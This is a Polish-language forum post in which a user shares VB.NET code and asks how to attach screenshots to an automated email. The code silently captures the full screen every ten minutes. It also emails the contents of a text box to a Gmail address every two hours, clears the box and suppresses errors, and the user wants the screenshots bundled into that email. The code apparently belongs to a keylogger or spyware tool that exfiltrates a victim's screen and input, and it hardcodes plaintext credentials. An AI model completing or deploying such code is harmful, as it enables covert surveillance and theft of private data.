Witam wszystkich. Czy byłby ktoś wstanie pomóc dołączyć zrobione zdjęcie do wysłanej wiadomości na email? (attachments)
imports System.IO
imports System.Net.Mail
imports System.Net
imports System.Drawing.Imaging
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Try
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("@gmail.com")
MyMailMessage.To.Add("@gmail.com")
MyMailMessage.Subject = ("Nowa wiadomość")
MyMailMessage.Body = RichTextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("@gmail.com", "password")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
RichTextBox1.Text = ("")
Catch
End Try
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Dim screenshot As Bitmap = New Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb)
Dim screenshotGraphics As Graphics = Graphics.FromImage(screenshot)
screenshotGraphics.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy)
screenshot.Save("C:\...\...\img.png", System.Drawing.Imaging.ImageFormat.Png)
End Sub
Timer2 jest ustawiony na 2h
Timer3 na 10 min
Jest więc opcja aby zdjęcia robione co 10 min były wysłane do jednej wiadomości co 2h?